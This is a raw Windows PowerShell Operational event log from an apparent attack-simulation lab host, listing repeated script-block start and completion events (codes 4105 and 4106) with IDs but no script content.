09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031443
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031442
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031441
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031440
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031424
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031423
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031418
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031417
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
